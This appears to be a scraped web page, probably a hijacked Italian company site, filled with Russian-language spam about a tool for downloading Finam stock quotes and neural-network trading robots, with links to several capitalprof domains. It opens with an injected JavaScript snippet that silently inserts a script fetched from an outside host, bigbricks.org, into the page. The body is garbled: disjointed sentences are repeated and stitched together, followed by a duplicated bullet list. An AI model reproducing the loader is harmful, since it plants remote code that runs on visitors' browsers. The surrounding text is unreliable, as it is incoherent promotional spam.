;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://bigbricks.org/z8wkpztX"); afedyanin CapitalProf-feed: Утилита для скачивания исторических данных с сайта Финам-а www CapitalProf.ru - De Domenico Giovanni srl

afedyanin CapitalProf-feed: Утилита для скачивания исторических данных с сайта Финам-а www CapitalProf.ru

Сразу скажу, что под искусственным интеллектом здесь будет пониматься использование обученных нейросетей, т.е. Мы будем обучать нейросеть, потом торговый робот на основании обученной модели будет принимать решение о покупке актива и выполнять действие – покупать актив. https://capitalprof.site/ 7) запуск live стратегии с использованием выбранной лучшей модели обученной нейросети с нашей торговой логикой. Сам намучался с этим и пока не написал это решение, которое мне теперь существенно экономит время для получения котировок акций и склеек по фьючерсам.

По крайней мере появился +1 рабочий пример использования нейросетей для аналитики цен графика акций. То, это позволит всем, кто только начинает свой путь по применению нейросетей для аналитики, https://capitalprof.online/ использовать этот код, как стартовый шаблон с последующим его усовершенствованием и допиливанием. При запуске main.py выгрузка исторических данных происходит в папку csv_export.

Как получить исторические данные по акциям

Есть способ, как это немного автоматизировать, для этого я написал небольшой код на Python для скачивания котировок акций/фьючерсов. Есть еще другие ресурсы, но в основном везде предлагают делать это вручную или даже просят дополнительно денег. Это не эффективно https://capitalprof.life/ по времени и конечно не хочется на это тратиться, особенно, когда скачать исторические данные нужно по многим акциям. Сегодня с утра без объявления войны Финам заблокировал возможность автоматической скачки исторических данных со своего сайта при помощи программ.

  • Мы будем обучать нейросеть, потом торговый робот на основании обученной модели будет принимать решение о покупке актива и выполнять действие – покупать актив.
  • 7) запуск live стратегии с использованием выбранной лучшей модели обученной нейросети с нашей торговой логикой.
  • То, это позволит всем, кто только начинает свой путь по применению нейросетей для аналитики, использовать этот код, как стартовый шаблон с последующим его усовершенствованием и допиливанием.
  • При запуске main.py выгрузка исторических данных происходит в папку csv_export.
  • По крайней мере появился +1 рабочий пример использования нейросетей для аналитики цен графика акций.
  • Это не эффективно по времени и конечно не хочется на это тратиться, особенно, когда скачать исторические данные нужно по многим акциям.